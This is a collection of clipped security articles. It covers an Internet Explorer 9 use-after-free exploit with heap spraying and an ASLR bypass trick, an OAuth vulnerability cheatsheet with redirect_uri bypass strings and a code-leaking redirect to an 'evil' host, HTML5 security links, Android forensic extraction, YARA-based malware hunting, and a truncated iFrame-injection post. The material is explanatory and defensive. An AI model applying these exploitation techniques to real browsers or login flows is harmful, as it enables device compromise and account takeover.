  * \[5\] Call `setCapture()` from the child item.
  * \[6\] Call `setCapture()` from the parent \(thus causing the `onclosecapture` from \[4\] to be called in the child item\).

#### What it does

Here's what you see if you run the trigger code that does this under a
debugger, using Windows 7 with Internet Explorer 9:

<img src='img/Temp2_753.png' width='500' height='300' />

If you aren't familiar with debuggers, this window tells you that the program
has crashed at the address 0x6AA33859 in the system library MSHTML.DLL, trying
to run the instruction:

[code]

    MOV  EDX,DS:[ECX]
    
[/code]

\(In Intel assember notation, data flows from right to left, so this means
"move the value of \[ECX\] into the register EDX". And the square brackets
mean "fetch the value at the memory address stored in ECX, not the value of
ECX itself." The DS: just denotes that the value comes from the processor's
data segment.\)

To explain further, the code at and after the offending instruction above does
the following:

[code]

    MOV  EDX,[ECX]    ; Fetch the contents of the 
                      ; memory address in ECX,
                      ; where ECX is controlled
                      ; by the string in [1] and [4]
                      ; on the attacker's web page.
    MOV  EAX,[EDX+C4] ; Fetch the contents of the 
                      ; address C4 bytes past that.
    CALL EAX          ; And call it as a subroutine.
    
[/code]

The exception occurs because ECX = 0x33333333 \(the ASCII code for the text
string "3333"\), but there is no memory allocated at that address for the
processor to read.

It looks as though memory that was freed up in \[2\] was then re-used by
Internet Explorer to store data that controls the flow of execution in
MSHTML.DLL \(Microsoft's rendering engine\), and then wrongly re-used against
for saving the text strings created in \[4\].

That's a _use after free_ bug, and in this case, it means our attackers can
lead Internet Explorer astray: they can trick the browser into using untrusted
data from their remote web page to tell your computer where to jump next in
memory.

That means there is very likely to be a chance for RCE, or Remote Code
Execution.

#### The next step

To make further headway, the attackers needed to to force ECX to contain the
address of memory that is allocated, and that they can influence.

Adding a step \[4.5\] to the list above does the trick:

  * \[4.5\] Create 320 text strings that take up 1MB each, containing the bytes 0x12121212 repeated over and over.

This is known as a _heap spray_ , and it's an operation that uses JavaScript's
powerful string-handling functions to force the operating system to allocate
large blocks of memory in a controlled way.

If we run Internet Explorer again until it crashes, and then peek at the
memory blocks allocated by Windows, we can see the results of the heap spray.

The size column shows that these blocks are all 0x00100000 bytes in length, or
1MB:

<img src='img/Temp2_757.png' width='500' height='300' />

Each of those blocks is crammed with the bytes 0x1212....1212.

Notice particularly - and we shall soon see why this is terribly convenient -
that the memory block containing the address 0x12121212 \(and the address
0x121212D6, which is 0xC4 bytes further on\), is one of the chunks filled with
0x1212....1212.

<img src='img/Temp2_759.png' width='500' height='300' />

Finding the right size for each heap spray object, and the right number of
memory allocations to perform in order to get a neat and exploitable result,
doesn't need to be done analytically.

Cybercriminals can save time and effort simply by using trial and error - a
process that can be automated.

So, instead of using the text string "3333", as in steps \[1\] and \[4\]
above, our attackers can choose a value that corresponds to an address inside
one of the blocks they know their heap spray will produce.

In the published exploit, they chose 0x12121202, though many others would have
done just as well, so that steps \[1\] and \[4\] no longer have ECX set to
"3333".

Instead, ECX becomes 0x12121202, and the crooks get this:

[code]

    ; EDX gets the contents of 12121202
    
    MOV  EDX,[12121202]
    
    ; EDX is now 12121212, so
    ; EAX gets the contents of EDX+C4 (121212D6)
    
    MOV  EAX, [12121212+C4] 
    
    ; EAX is now 12121212, which we call 
    
    CALL 12121212
    
    ; Execution is now at an address we control!
    
[/code]

On versions of Windows before XP SP3, the attackers would already have won the
battle at this point, by adapting the text strings from \[4.5\] so that they
contained shellcode \(executable code hidden in chunks of data\) starting at
0x12121212 , thus instantly getting control.

But these days \(and we're on Windows 7 in this article, remember\), memory
blocks dished out by the operating system - allocations "on the heap", as they
are known - are set to be `NX`, or `No Execute`, by default.

If you try to execute an instruction in a memory page marked `NX`, the
processor steps in and stops you.

This is the basis of DEP, or Data Execution Prevention, and it means that even
though our attackers can control exactly what is at address 0x12121212, and
divert the processor to it, they can't make it run:

<img src='img/Temp2_754.png' width='500' height='300' />

On Windows XP, DEP slows the attackers down a bit, but not much: all they need
to do is to tweak the heap spray so that the value at 0x121212D6 is an address
in executable memory.

\(0x121212D6, remember, is 0x12121212+0xC4: that's where the CPU will jump as
a side-effect of triggering this bug, due to the `CALL EAX` instruction shown
above.\)

The richest sources of ready-to-use executable memory are the numerous system
DLLs that are almost always loaded, such as `KERNEL32.DLL`, `USER32.DLL` and
`GDI32.DLL`.

#### Getting around ASLR

On Windows 7, however, picking addresses in system DLLs is much harder than it
sounds, because of ASLR, or Address Space Layout Randomisation.

For example, here's a table from our test computer, showing where Internet
Explorer and its first few DLLs are supposed to load, and where they actually
loaded on three successive reboots:

<img src='img/Temp2_755.png' width='500' height='101' />

In short:

  * DEP stops attackers with a vulnerability like this one from jumping straight to their shellcode as soon as the exploit gets control.
  * ASLR stops attackers from bypassing DEP by jumping into a system DLL, because they don't know where it will be in memory.

→ On Windows XP, system DLLs load at the same place every time, on every
computer, making XP much easier to hack. That alone is enough reason to ditch
XP as soon as you can, regardless of the looming "no more patches" deadline of
April 2014.

But our attackers have a way around this, because some common and popular DLLs
still advertise themselves as incompatible with ASLR, and are therefore loaded
without it.

So they added this line of JavaScript for attacking Windows 7 users:

[code]

    try{location.href='ms-help://'} catch(e){}
    
[/code]

If you have Office 2007 or Office 2010 installed, trying to open an `ms-
help://` URL causes Internet Explorer to load the support library `hxds.dll`:

<img src='img/Temp2_751.png' width='500' height='322' />

Sadly, the address 0x51BD0000 is exactly where is is supposed to load, because
it was compiled by Microsoft without the so-called `DYNAMICBASE` option, thus
causing it to be left out of ASLR:

<img src='img/Temp2_756.png' width='500' height='65' />

Admittedly, this restricts the attackers to infecting computers on which
Office is installed - but in practice, that isn't a major limitation: even if
you don't own Office, you may well have a demo version left over from when you
bought your PC.

At this point, our attackers are on the brink of controlling your computer,
having evaded all of the following:

  * Windows memory management.
  * JavaScript's "sandbox".
  * Data Execution Prevention.
  * Address Space Layout Randomisation.

The good news is that they still have a fair amount of work to do.

Before they can go any further, for example, they need to choose which address
in `hxds.dll` they will write at offset 0x121212D6, to be the target of the
fateful `CALL EAX` that will give them their first unlawfully executed machine
code instruction.

The bad news, of course, is we already know that our crooks are going to
succeed in the end.

So, please join us next week for Part Two, where we'll show you what they are
going to do next, and why, and how you can detect and prevent their nefarious
activities.

# OAuth Security Cheatsheet

**Created:**| _11/28/2016 11:35:42 AM_  
---|---  
**Updated:**| _11/28/2016 11:35:49 AM_  
**Author:**| __  
**Tags:**| __  
  

# OAuth Security Cheatsheet

## State-Of-The-Art OAuth2 Homakov Edition

Taking into account poor quality of official OAuth2 spec and the number of
vulnerable provider and client integrations, here's a **secure-by-default
OAuth Homakov edition**

TL;DR: protect initial `/connect/provider` endpoint with CSRF, always use and
require `state`, never allow dynamic redirect\_uri, do not allow
response\_type=hash \(formerly `token`\) by default, get rid of refresh\_token
& code, instead authenticate every access\_token with appsecret\_proof,
double-check with user what provider account they want to connect, never
expire access\_token \(think of it as public user\_id\).

  1. The user clicks "Connect Provider" button. This either initiates a POST form submission \(protected with CSRF token\) to `/connect/provider_name` or navigates with GET to `/connect/provider?csrf_token=TOKEN`. The initial step MUST be protected from CSRF, it shouldn't be possible to trigger connection from other origins, there must be an explicit confirmation from the user.
  2. On the server side `/connect/provider` client's controller should verify that csrf\_token is equal the token from the session, then generate `state` token \(CSRF token to ensure OAuth flow integrity\) and store it in the session as `<provider>-state`. Then redirect to `provider.com/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CLIENT/callback&state=STATE`. `scope` parameter is optional \(some critical scopes should only be allowed to verified clients\).
  3. Provider checks that given redirect\_uri is inside of whitelist of redirect URIs \(host, path, query and hash must be static\). Every redirect\_uri must have a corresponding response type, `query` by default, `hash` for mobile apps. It MUST NOT be a parameter. `state`parameter must be required by the provider \(despite spec says it is optional - for most developers it is synonim for "not needed"\).
  4. The user sees Approve/Deny buttons on provider domain. After clicking Approve POST form is submitted to the same URL, protected with CSRF token \(don't be like Outlook or Doorkeeper or tons of other providers with CSRF on /authorize\)
  5. For `query` response\_type redirect to `CLIENT/callback?access_token=TOKEN&state=STATE` \(all tokens are stored on central server and every API request is signed with appsecret\_proof\), for `hash` redirect to `CLIENT/callback#access_token=TOKEN&state=STATE` \(tokens are stored in local applications, appsecret\_proof is not required\). In both cases clients must check STATE is equal provider-state from the session.
  6. Why `access_token` never expires? Because we don't need refresh\_token/code anymore. With refresh token attackers get a window when they can use access\_tokens to send spam or download social graph of all victims. Only when access\_tokens expire, according to spec, clients should use refresh\_token and client\_secret to get a new token. Instead of this security theater, we are going to require appsecret\_proof which was first introduced by Facebook. Every request to Provider MUST have access\_token and appsecret\_proof=`hash_hmac('sha256', $access_token, $client_secret);` if the token was returned with response\_type=`query`. Now if the attacker leaks access\_token, tokens are worthless. Even if they steal your client\_secret, you can simply rotate it.
  7. Optional, but recommended. Before connecting the account you should ask the user if they want to connect for example Facebook of "myfbemail@email.com". Because there are lots of attacks such as cookie forcing, login/logout CSRF, RECONNECT that can silently relogin user into malicious account on the provider.

## About this document

This document describes common OAuth/Single Sign On/OpenID-related
vulnerabilities. Many cross-site interactions are vulnerable to different
kinds of leakings and hijackings.

Both hackers and developers can benefit from reading it.

OAuth is a critical functionality. It is responsible for access to sensitive
user data, authentication and authorization. **Poorly implemented OAuth is a
reliable way to take over an account**. Unlike XSS, it is easy to exploit, but
hard to mitigate for victims \(NoScript won't help, JavaScript is not
required\).

Because of OAuth many startups including Soundcloud, Foursquare, Airbnb,
About.me, Bit.ly, Pinterest, Digg, Stumbleupon, Songkick had an account
hijacking vulnerability. And a lot of websites are still vulnerable. **Our
motivation is to make people aware of "Social login" risks, and we encourage
you to use OAuth very carefully.**

The cheatsheet **does not**  explain how OAuth flows work, please look for it
on the official website.

## Authorization Code flow

### Client account hijacking by connecting attacker's provider account.

Also known as The Most Common OAuth2 Vulnerability. In other words, CSRF.

Provider returns `code` by redirecting user-agent
to `SITE/oauth/callback?code=CODE` Now the client must send `code` along with
client credentials and `redirect_uri` to obtain `access_token`.

If the client implementation doesn't use `state` parameter to mitigate CSRF,
we can easily connect **our provider account**  to **the victim 's client
account**.

<img src='img/Temp2_5661' />

It works for clients with social login and ability to add a login option to
existing master account \(screenshots of pinterest.com below\).

<img src='img/Temp2_5658' />

<img src='img/Temp2_5660' alt='connect options' />

**Remediation** : Before sending user to the provider generate a random nonce
and save it in cookies or session. When user is back make sure `state` you
received is equal one from cookies.

**State fixation bug** : It was possible to fixate `state` in omniauth because
of legacy code which utilized user
supplied `/connect?state=user_supplied` instead of generating a random one.

This is another OAuth design issue - sometimes developers want to
use `state` for own purposes. Although you can send both values
concatenated `state=welcome_landing.random_nonce`, but no doubt it looks ugly.
A neat solution is to use JSON Web Token as state

### Client account hijacking through abusing session fixation on the provider

Even if the client properly validates the `state` we are able to replace auth
cookies on the provider with the attacker's account: using CSRF on login \(VK,
Facebook\), header injection, or cookie forcing or tossing.

Then we just load a GET request triggering connect \(`/user/auth/facebook` in
omniauth\), Facebook will respond with the attacker's user info
\(uid=attacker's uid\) and it will eventually connect the attacker's provider
account to the victim's client account.

**Remediation** : make sure that adding a new social connection requires a
valid csrf\_token, so it is not possible to trigger the process with CSRF.
Ideally, use POST instead of GET.

Facebook refused to fix CSRF on login from their side, and many libraries
remain vulnerable. **Do not expect providers to give you reliable
authentication data**.

### Account hijacking by leaking authorization code.

OAuth documentation makes it clear that providers must check the
first `redirect_uri` is equal `redirect_uri` the client uses to
obtain `access_token`. We didn't really check this because it looked too hard
to get it wrong. Surprisingly **many**  providers got it wrong: Foursquare
\(reported\), VK \(report, in Russian\), Github \(could be used to leak tokens
to private repos\), and a lot of "home made" Single Sign Ons.

The attack is straightforward: find a leaking page on the client's domain,
insert cross domain image or a link to your website, then use this page
as `redirect_uri`. When your victim will load crafted URL it will send him
to `leaking_page?code=CODE` and victim's user-agent will expose the code in
the Referrer header.

<img src='img/Temp2_5656' />

Now you can re-use leaked authorization code on the actual `redirect_uri` to
log in the victim account.

**Remediation** : flexible `redirect_uri` is a bad practise. But if you need
it, store redirect\_uri for every code you issue and verify it on
access\_token creation.

## Implicit flow

### Leaking access\_token/signed\_request with an open redirect.

It was a media hype called "cover redirect" but in fact it was known for
years. You simply need to find an open redirect on the client's domain or its
subdomains, send it as `redirect_uri` and
replace `response_type` with `token,signed_request`. 302 redirect will
preserve \#fragment, and attacker's Javascript code will have access to
location.hash.

Leaked `access_token` can be used for spam and ruining your privacy.
Furthermore, leaked `signed_request` is even more sensitive data. By finding
an open redirect on the client you compromise Login with Facebook completely.

**Remediation** : whitelist only one redirect\_uri in app's settings:

<img src='img/Temp2_5657' />

### Account hijacking by using access\_token issued for the attacker's client.

Also known as One Token to Rule Them All. This bug is relevant to mobile and
client-side apps, because they often use access\_token directly supplied by
the user.

Imagine, user has many "authorization rings" and gives a ring to every new
website where he wants to log in. A malicious website admin can use rings of
its users to log in other websites his customers have accounts on.

<img src='img/Temp2_5659' />

**Remediation** : Before accepting user supplied access\_token check if it was
issued for
your `client_id` at `https://graph.facebook.com/app?fields=id&access_token=TOKEN`

## Transport and JS SDK bugs

For better support of client-side applications \(or browser apps\) some of
OAuth 2 providers added an out-of-specs custom variant of implicit flow,
involving a proxy/relay page as a sort of router for access tokens. This proxy
communicates with the client page of application either through standard HTML5
postMessage API, or using legacy ways: manipulating window name and url
\(known as Fragment transport, rmr\) and Adobe Flash LocalConnection API.

Regardless of the selected method, it is important to ensure proxy can
exchange messages only with the target origin, to disallow malicious page from
impersonating the application page, and finally to verify these client-side
checks are consistent with server-side checks. Fail properly secure client-
side transport usually results in two kinds of problems:

  * leaking data to an attacker \(authorization and authentication bypass \[1\], \[2\]\)
  * trusting data from an attacker \(session fixation \[1\], \[2\]\)

Additionally, modern web-applications tend to have rich javascript frontend,
and unsafe client-side communication may lead to even more serious attacks
beyond OAuth itself \(DOM XSS on Facebook through OAuth 2 logical flaws\)

**Remediation** :

  * Completely disable all legacy client-side communication methods \(Flash or Fragment\), use postMessage
  * Check origins of all incoming and outgoing messages, allow only the target application domain
  * Ensure that all client-side origin checks are consistent with server-side origin checks
  * Use a cryptographic nonce validation before starting data transmission with another party

## Extra

### Leaked client credentials threat

Client credetials are not as important as it sounds. All you can do is using
leaking pages to leak auth code, then manually getting an access\_token for
them \(providing leaking redirect\_uri instead of actual\). Even this threat
can be mitigated when providers use static redirect\_uri.

### Session fixation \(OAuth1.0\)

Main difference between OAuth2 and 1 is the way you transfer parameters to
providers. In the first version you send all parameters to the provider and
obtain according request\_token. Then you navigate user
to `provider?request_token=TOKEN` and after authorization user is redirected
back to `client/callback?request_token=SAME_TOKEN`.

The idea of fixation here is we can trick user into accepting Token1 supplied
by us which was issued for us, then re-use Token1 on the client's callback.

This is not a severe vulnerability because it is mostly based on phishing. FYI
Paypal express checkout has this bug

### Provider In The Middle.

Many startups have Facebook Connect, and at the same time they are providers
too. Being providers, they must redirect users to 3rd party websites, and
those are "open redirects" you just cannot fix. It makes this chain possible:
Facebook -> Middleware Provider -> Client's callback, leading to FB token
leakage.

To fix this problem Facebook adds `#_=_` in the end of callback URLs. Your
startup should "kill" fragment to prevent leaking. Redirect this way:

`Location: YOUR_CLIENT/callback?code=code#`

### Tricks to bypass redirect\_uri validation

If you are allowed to set subdirectory here are path traversal tricks:

  1. /old/path/../../new/path
  2. /old/path/%2e%2e/%2e%2e/new/path
  3. /old/path/%252e%252e/%252e%252e/new/path
  4. /new/path///../../old/path/
  5. /old/path/.%0a./.%0d./new/path \(For Rails, because it strips \n\d\0\)

### Replay attack.

`code` is sent via GET and potentionally will be stored in the logs. Providers
must delete it after use or expire in 5 minutes.

### Leaking a code with an open redirect

Usually you need a referrer-leaking page to leak ?query parameters. There are
two tricks to do it with an open redirect though:

  * When redirect uses `<meta>` tag instead of 302 status and Location header. It will leak redirecting page's referrer to in the next request.
  * When you managed to add `%23`\(\#\) in the end of `redirect_uri`. It will result in sending the code in the fragment `Location: http://CLIENT/callback/../open_redirect?to=evil#&code=CODE`

# HTML5 Security Resources Repository

**Created:**| _2/11/2012 11:40:47 AM_  
---|---  
**Updated:**| _2/11/2012 11:40:49 AM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark html5_  
  

OWASP Guide on Secure HTML5 Implementation  
HTML5 based Cross-site Scripting  
Vectors  
  
  
11 |    
Upcoming talks on HTML5 Security  
  
  
  
1  
Research Papers on HTML5 Security  
  
  
  
6  
Blog posts on HTML5 Security  
  
  
  
20 |    
Videos of past talks on HTML5 Security  
  
  
  
4  
Other resources on HTML5 Security  
  
  
  
3  
Slides from presentations made on  
HTML5 Security  
  
  
8  
---|---|---  
Research Papers on HTML5 Security \[Back to Home\]

  * A Security Analysis of Next Generation Web Standards <img src='img/Temp2_3582.jpg' />
  * The Emperor’s New APIs: On the \(In\)Secure Usage of New Client-side Primitives <img src='img/Temp2_3582.jpg' />
  * HTML5 Overview: A Look at HTML5 Attack Scenarios <img src='img/Temp2_3582.jpg' />
  * HTML5 Web Security <img src='img/Temp2_3582.jpg' />
  * Attacking with HTML5 <img src='img/Temp2_3582.jpg' />
  * Abusing HTML 5 Structured Client-side Storage <img src='img/Temp2_3582.jpg' />

  
  
Blog posts on HTML5 Security \[Back to Home\]

  * How a Platform Using HTML5 Can Affect the Security of Your Website <img src='img/Temp2_3583.jpg' />
  * Invisible arbitrary CSRF file upload in Flickr.com <img src='img/Temp2_3583.jpg' />
  * Minus.com silent arbitrary file upload <img src='img/Temp2_3583.jpg' />
  * Cross domain arbitrary file upload Redux <img src='img/Temp2_3583.jpg' />
  * How to upload arbitrary file contents cross-domain <img src='img/Temp2_3583.jpg' />
  * Filejacking: How to make a file server from your browser \(with HTML5 of course\) <img src='img/Temp2_3583.jpg' />
  * HTML5 WebSockets - security & new tool for attacking <img src='img/Temp2_3583.jpg' />
  * Squid-imposter: Phishing websites forever with HTML5 offline cache <img src='img/Temp2_3583.jpg' />
  * XSS track got ninja stealth skills thanks to HTML5 <img src='img/Temp2_3583.jpg' />
  * XSS-Track now steals your uploaded files with HTML5 power\! <img src='img/Temp2_3583.jpg' />
  * CSRF with JSON – leveraging XHR and CORS <img src='img/Temp2_3583.jpg' />
  * Blind WebSQL and Storage extraction for HTML5 Apps <img src='img/Temp2_3583.jpg' />
  * Top 10 HTML5 Threats & Attack Vectors <img src='img/Temp2_3583.jpg' />
  * Hacking Facebook with HTML5 <img src='img/Temp2_3583.jpg' />
  * Cracking hashes in the JavaScript cloud with Ravan <img src='img/Temp2_3583.jpg' />
  * Performing DDoS attacks with HTML5 Cross Origin Requests & WebWorkers <img src='img/Temp2_3583.jpg' />
  * Port Scanning with HTML5 and JS-Recon <img src='img/Temp2_3583.jpg' />
  * Shell of the Future – Reverse Web Shell Handler for XSS Exploitation <img src='img/Temp2_3583.jpg' />
  * Chrome and Safari users open to stealth HTML5 AppCache attack <img src='img/Temp2_3583.jpg' />
  * HTML5 Security Articles and Live Demos <img src='img/Temp2_3583.jpg' />

  
  
Slides from presentations made on HTML5 Security \[Back to Home\]

  * HTML5 - The Good, the Bad, the Ugly <img src='img/Temp2_3582.jpg' />
  * HTML5: something wicked this way comes - HackPra <img src='img/Temp2_3583.jpg' />
  * HTML5 Web Security <img src='img/Temp2_3582.jpg' />
  * Web security in the frontend <img src='img/Temp2_3583.jpg' />
  * Abusing HTML5 <img src='img/Temp2_3582.jpg' />
  * HTML5 Advanced Computer Networks SS 2011 <img src='img/Temp2_3582.jpg' />
  * Pwning Intranets with HTML5 <img src='img/Temp2_3582.jpg' />
  * Can you trust your workers? Examining the security of Web Workers <img src='img/Temp2_3582.jpg' />

  
  
Videos of past talks on HTML5 Security \[Back to Home\]

  * HTML5 - The Good, the Bad, the Ugly \(German\) <img src='img/Temp2_3583.jpg' />
  * HTML5: something wicked this way comes <img src='img/Temp2_3583.jpg' />
  * Next Generation Web Attacks - HTML 5, DOM \(L3\) and XHR \(L2\) <img src='img/Temp2_3583.jpg' />
  * Attacking with HTML5 <img src='img/Temp2_3583.jpg' />

  
  
Other resources on HTML5 Security \[Back to Home\]

  * Discussion on HTML5 Security at OWASP Summit 2011 <img src='img/Temp2_3582.jpg' />
  * HTML5 Security Cheatsheet Wiki <img src='img/Temp2_3583.jpg' />
  * HTML5 WebSQL and COR Security Demos <img src='img/Temp2_3583.jpg' />

  
  
Upcoming talks on HTML5 Security \[Back to Home\]

  * HTML5 Top 10 Threats Stealth Attacks and Silent Exploits <img src='img/Temp2_3583.jpg' />

  
  

# Android Encryption Demystified

**Created:**| _5/23/2017 12:56:02 PM_  
---|---  
**Updated:**| _5/24/2017 2:41:32 PM_  
**Author:**| __  
**Tags:**| _security tools Forensics crypto_  
  

  

## Android Encryption Demystified  
---  
May 23rd, 2017 by Oleg Afonin  
<img src='img/Temp2_781.png' width='20' height='18' />Share

2

<img src='img/Temp2_784.png' width='21' height='18' />Tweet

<img src='img/Temp2_782.png' width='20' height='18' />+1

<img src='img/Temp2_783.png' width='20' height='18' />Pin this

How many Android handsets are encrypted, and how much protection does Android
encryption actually provide? With Android Nougat accounting for roughly 7% of
the market, the chance of not being adequately protected is still high for an
average Android user.

Android Central published an article titled More Android phones are using
encryption and lock screen security than ever before. The author, Andrew
Martonik, says: “For devices running Android Nougat, roughly 80% of users are
running them fully encrypted. At the same time, about 70% of Nougat devices
are using a secure lock screen of some form.”

This information is available directly from Google who shared some security
metrics at Google I/O 2017.

“That 80% encryption number isn’t amazingly surprising when you remember that
Nougat has full-device encryption turned on by default”, continues Andrew
Martonik, “but that number also includes devices that were upgraded from
Marshmallow, which didn’t have default encryption. Devices running on
Marshmallow have a device encryption rate of just 25%, though, so this is a
massive improvement. And the best part about Google’s insistence on default
encryption is that eventually older devices will be replaced by those running
Nougat or later out of the box, meaning this encryption rate could get very
close to 100%.”

So how many Android handsets out there are actually encrypted? Assuming that
0.25 \(25%\) of Android 6 handsets use encryption, and 0.8 \(80%\) of Android
7 phones are encrypted, it will be possible to calculate the number of
encrypted handsets out of the total number of Android devices.

Let’s have a look at the current Android version distribution chart:

  * » Android 5.1.1 and earlier versions: ~62% market share
  * » Android 6: 31 \(31% market share\) \* 0.25 = 0.078
  * » Android 7: 0.07 \(7% market share\) \* 0.80 = 0.056

Google does not specify how many Android 5.x handsets are encrypted, but we
assume that this number is very low since there were no requirements to
encrypt such devices out of the box. While we don’t know for sure, Ars
Technica had an excellent write-up on those older versions of Android “Why are
so few Android phones encrypted, and should you encrypt yours?” Back then,
their conclusion was that encryption in Android was too much of a performance
hit to be voluntarily enabled by an average user.

So, considering the above statistics, we can tell that 13.4% of Android
devices \(Android 6 and 7\) are definitely encrypted, plus an unknown number
of Android 5.x handsets whose users may have enabled the optional encryption.

What exactly does that mean for the mobile forensic specialist? One can still
chip-off an Android handset even if it runs the latest version of Android, and
still get a good chance of being able to extract information.

## Why Most Marshmallow Phones Don’t Use Encryption

Since Android 6.0 Marshmallow, Google requires manufacturers to enforce
encryption in all new devices. This requirement only applies to devices
shipped with Android 6.0 from the factory. In other words, if you received
Android 6 as an OTA update, there will be no forced encryption for you \(but
you’ll be able to encrypt your phone from the settings\). As an example, LG G
Flex 2 was released with Android 5.0 and received the Marshmallow update a
year and a half later. As a result, LG G Flex 2 does not have encryption
enforced. On the other hand, Samsung Galaxy S7 was released with Android 6 on
board, and it has forced encryption out of the box.

Similar logic applies to Android 7 handsets, although there are significantly
more devices running Nougat that were updated from Android 6 \(and thus
already encrypted\) rather than getting an update from Android 5.x \(and not
receiving forced encryption as a result\).

## The Types of Encryption in Android

We all know how Apple’s iOS encryption works. Full-disk block-level encryption
with unique encryption keys for each data block, and an extra encryption layer
for the Keychain \(a system-wide secure storage database that keeps the most
sensitive information such as Web forms and passwords, credit card
information, authentication tokens etc.\) The full-disk encryption in iOS
protects the data securely. The user must authenticate with a passcode \(if
enabled\) every time the device reboots in order to decrypt the data
partition; the decryption key is not stored anywhere in the device, and is
instead calculated dynamically based on information stored in the Secure
Enclave as well as the passcode itself.

Android does not offer anything that can approach iOS in terms of encryption.
Instead, Android employs a straightforward block-level encryption of the data
partition. Pre-Lollipop devices were using the old insecure encryption scheme
that was relatively easy to break. Since Android 5.0, Google switched to new
full-disk encryption that became significantly more secure.

By default, the decryption key is stored in the hardware-backed storage using
Trusted Execution Environment’s \(TEE\) signing capability \(such as in a
TrustZone\). The data partition is decrypted with that key automatically once
the device reboots. While this may sound lame \(what’s the purpose of
encryption anyway if the data can be decrypted without user interaction?\),
bear in mind that extracting the decryption key via chip-off or any other low-
level method is not possible, so if you do a chip-off you won’t get the
decryption key and won’t be able to decrypt the data.

Users who require additional security can activate boot-level protection by
setting the requirement of typing a passcode or password in order to allow the
device to continue booting. In this case, the encryption key is created
dynamically based on user input as well as device data. There is no official
data about the number of users who enabled this feature. Our guess is it is
not a lot.

Android 7 introduced a new file-based encryption scheme. Little is known about
it other than official information. Very few handsets implement this
encryption scheme \(mostly Nexus and Pixel devices\); there is no obvious way
to enable it. Users who manage to enable file-based encryption must perform a
factory data reset. All this means that file-level encryption is rare as hen’s
teeth. We haven’t seen any mentions of file-based encryption in Android O.

## Extracting Data from Unencrypted Android Devices

The obvious way to extract information from an unencrypted but locked Android
handset would be via the chip-off process. However, there are easier methods
available for many devices.

The majority of Android handsets using a Qualcomm SoC have one or more
emergency programming \(EDL\) modes such as 9006 and 9008. The different modes
\(as well as the different implementations of the lower-level 9008 mode\) may
allow for either mounting the phone’s eMMC/UFS partitions directly or
accessing the storage in low level using the phone’s regular micro USB or USB
Type C port. In order to make use of the 9006, experts only need a Qualcomm
driver and experience in switching the device to that mode. The 9008 is more
difficult as it requires specialized drivers and programmer code; it may also
require a special service cable \(“deep flash cable”\) in order to switch the
device into that mode.

LG smartphones feature their own software maintenance mode; a few forensic
tools can make use of it to easily pull information from the flash drive.
Samsung Exynos-based phones also have service modes that some forensic tools
can exploit. MediaTek is known for its two-way emergency download mode that
works on the majority of MTK-based phones. All this allows experts extracting
information from Android devices relatively easily. With no encryption, it’s
almost too easy to access data in Android devices.

More information:

  * » Android encryption overview: https://source.android.com/security/encryption/
  * » Android full-disk encryption: https://source.android.com/security/encryption/full-disk
  * » Android file-based encryption: https://source.android.com/security/encryption/file-based

Tags: Android, Encryption

  

# Hunting malware with metadata

**Created:**| _5/7/2017 10:22:47 AM_  
---|---  
**Updated:**| _5/7/2017 10:22:47 AM_  
**Author:**| __  
**Tags:**| _Forensics Malware-analysis_  
  

  

# Hunting malware with metadata

1 Reply

A while ago Michel wrote a blog post Tracking threat actors through .LNK
files.

In this post, we want to illustrate how VirusTotal \(retro\) hunting can be
leveraged to extract malware samples and metadata linked to a single threat
actor. We use the power of YARA rules to pinpoint the metadata we are looking
for.

With some of the metadata extracted from the .LNK file we wrote about in our
previous blog post \(Volume ID and MAC address\), we’re going to search on
VirusTotal for samples with that metadata. It is clear from the MAC address
00:0C:29:5A:39:04 that the threat actor used a virtual machine to build
malware: 00:0C:29 is an OUI owned by VMware. We wonder if the same VM was used
to create other samples.  
With a VirusTotal Intelligence subscription, one can search through the
VirusTotal sample database, for example with YARA rules. We use the following
YARA rule for the metadata:

1234567| `rule MALDOC_LNK {``strings:``$BirthObjectId = {C2 CC 13 98 18 B9 E2
41 82 40 54 A8 AD E2 0A 9A}``$MACAddress = {00 0C 29 5A 39
04}``condition:``all of them``}`  
---|---  
VTI supports hunting and retro-hunting with YARA rules. With hunting, you will
be informed each time your YARA rules triggers on the VT servers each time a
newly submitted sample matching your rule. With retro-hunting, YARA rules are
used to scan through 75TB of samples in the VT database. This correspond more
or less to the set of samples submitted in the last three months.  
Here is the result from a retro-hunt using YARA rule MALDOC\_LNK:

<img src='img/20170424-140328.png' width='576' height='330' />

Next step is to download and analyse all these samples. Since we did not
include a file type condition in our YARA rule, we get different types of
files: Word .doc files, .lnk files, raw OLE streams containing .lnk files, and
MIME files \(e-mails with Word documents as attachment\).  
With this command we search for strings containing “http” in the samples:

<img src='img/20170424-140543.png' width='576' height='379' />

So we see that the same virtual machine has been used to created several
samples. Here we extract the commands launched via the .lnk file:

<img src='img/20170424-140617.png' width='576' height='201' />

There are 2 types of commands: downloading one executable; and downloading one
executable and a decoy document.

The metadata from the OLE files reveals that the virtual machine has been used
for a couple of weeks:

<img src='img/20170424-214631.png' width='435' height='338' />

**Conclusion**

With metadata and VirusTotal, it is possible to identify samples created by
the same actor over a period of 3 months. These samples can provide new
metadata and IOCs.

  

# New iFrame Injections Leverage PNG Image Metadata | Sucuri Blog
**Created:**| _2/5/2014 11:05:58 AM_  
---|---  
**Updated:**| _2/5/2014 11:05:58 AM_  
**Author:**| __  
**Tags:**| _web browser_  
  

# New iFrame Injections Leverage PNG Image Metadata

We’re always trying to stay ahead of the latest trends, and today we caught a
very interesting one that we have either been missing, or it’s new. We’ll just
say it’s new.. <img src='img/Temp2_5588.gif' alt=';)' />

We’re all familiar with the idea of iFrame Injections, right?

#### Understanding an iFrame Injection

The **iFrame** HTML tag is very standard today, it’s an easy way to embed
content from another site into your own. It’s supported by almost all browsers
and employed by millions of websites today, use Adsense? Then you have an
iFrame embedded within your site too.

Pretty nifty, I know. Like with most things though, the good is always
accompanied with the bad.  
  
In today’s attacks, especially when we’re talking about drive-by-downloads,
leveraging the iFrame tag is often the preferred method. It’s simple and easy,
and with a few attribute modifications, the attacker is able to embed code
from another site, often compromised, and load something via the client’s
browser without them knowing \(i.e., silently\).

It would look something like this:

<img src='img/Temp2_5586.gif' alt='iframe sample' />

Attackers normally embed a malicious file from another site, often in the form
of a PHP file or something similar. This of course is not the only method, but
the most prevalent. From a detection and remediation standpoint, these are
often fairly straight forward to fix.

#### New iFrame Injection Method

Today however we found an interesting type of iFrame injection.

The uniqueness is not in the use of an iFrame tag to embed the content, but
rather in how it distributes the malware. You see, the attacker obfuscated the
payload inside a **PNG** file.

I can almost hear the lot of you snickering, pff.. this isn’t new…. but it’s
all in the details my friends.

